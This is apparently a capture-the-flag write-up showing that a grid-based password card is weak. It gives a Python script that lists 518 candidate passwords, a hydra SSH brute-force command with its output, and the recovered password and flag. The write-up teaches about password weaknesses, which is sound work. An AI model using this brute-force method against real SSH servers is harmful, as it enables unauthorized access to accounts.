Long secure password (3 points)

Hi, TCC-CSIRT analyst,

a new colleague came up with a progressive way of creating a memorable password and would like to implement it as a new standard at TCC. Each user receives a TCC-CSIRT password card and determines the password by choosing the starting coordinate, direction, and number of characters. For skeptics about the security of such a solution, he published the card with a challenge to log in to his SSH server.

Verify if the card method has any weaknesses by logging into the given server.

See you in the next incident!

Hints

Solution

After extracting a password card from the archive we can see that the arrows indicate 8 possible directions. With this information we can write a piece of code to extract all possible 18-character passwords from the card.

CARD = [
    "SQUIRELL*JUDGE*NEWS*LESSON",
    "WORRY*UPDATE*SEAFOOD*CROSS",
    "CHAPTER*SPEEDBUMP*CHECKERS",
    "PHONE*HOPE*NOTEBOOK*ORANGE",
    "CARTOONS*CLEAN*TODAY*ENTER",
    "ZEBRA*PATH*VALUABLE*MARINE",
    "VOLUME*REDUCE*LETTUCE*GOAL",
    "BUFFALOS*THE*CATCH*SUPREME",
    "LONG*OCTOPUS*SEASON*SCHEME",
    "CARAVAN*TOBACCO*WORM*XENON",
    "PYPPYLIKE*WHATEVER*POPULAR",
    "SALAD*UNKNOWN*SQUATS*AUDIT",
    "HOUR*NEWBORN*TURN*WORKSHOP",
    "USEFUL*OFFSHORE*TOAST*BOOK",
    "COMPANY*FREQUENCY*NINETEEN",
    "AMOUNT*CREATE*HOUSE*FOREST",
    "BATTERY*GOLDEN*ROOT*WHEELS",
    "SHEEP*HOLIDAY*APPLE*LAWYER",
    "SUMMER*HORSE*WATER*SULPHUR",
]
PASS_LEN = 18
CARD_HEIGHT = len(CARD)
CARD_WIDTH = len(CARD[0])
passwords = set()


def add_pass(row, col, dRow, dCol):
    endRow = row + (PASS_LEN - 1) * dRow
    endCol = col + (PASS_LEN - 1) * dCol
    if endRow < 0 or endRow >= CARD_HEIGHT or endCol < 0 or endCol >= CARD_WIDTH:
        return
    pwd = ""
    for _ in range(PASS_LEN):
        pwd += CARD[row][col]
        row += dRow
        col += dCol
    passwords.add(pwd)


for row in range(CARD_HEIGHT):
    for col in range(CARD_WIDTH):
        add_pass(row, col, -1,  0)  # up
        add_pass(row, col, -1,  1)  # up-right
        add_pass(row, col,  0,  1)  # right
        add_pass(row, col,  1,  1)  # down-right
        add_pass(row, col,  1,  0)  # down
        add_pass(row, col,  1, -1)  # down-left
        add_pass(row, col,  0, -1)  # left
        add_pass(row, col, -1, -1)  # up-left

for p in passwords:
    print(p)

If we run this code and save the result in passwords.txt we end up with 518 potential password candidates.

In order to test which is the correct one, we can use e.g. hydra

$ hydra -l futurethinker -P passwords.txt -t 4 ssh://password-card-rules.cypherfix.tcc
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-07 17:22:45
[DATA] max 4 tasks per 1 server, overall 4 tasks, 518 login tries (l:1/p:518), ~130 tries per task
[DATA] attacking ssh://password-card-rules.cypherfix.tcc:22/
[STATUS] 80.00 tries/min, 80 tries in 00:01h, 438 to do in 00:06h, 4 active
[22][ssh] host: password-card-rules.cypherfix.tcc   login: futurethinker   password: SAOPUNUKTPHCANEMFW
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-07 17:24:35

Now that we know the password, we can log in to SSH server to retrieve the flag.

$ ssh futurethinker@password-card-rules.cypherfix.tcc
futurethinker@password-card-rules.cypherfix.tcc's password:
Nobody will ever read this message anyway, because the TCC password card is super secure. Even my lunch access-code is safe here: FLAG{uNZm-GGVK-JbxV-1DIx}
Connection to password-card-rules.cypherfix.tcc closed.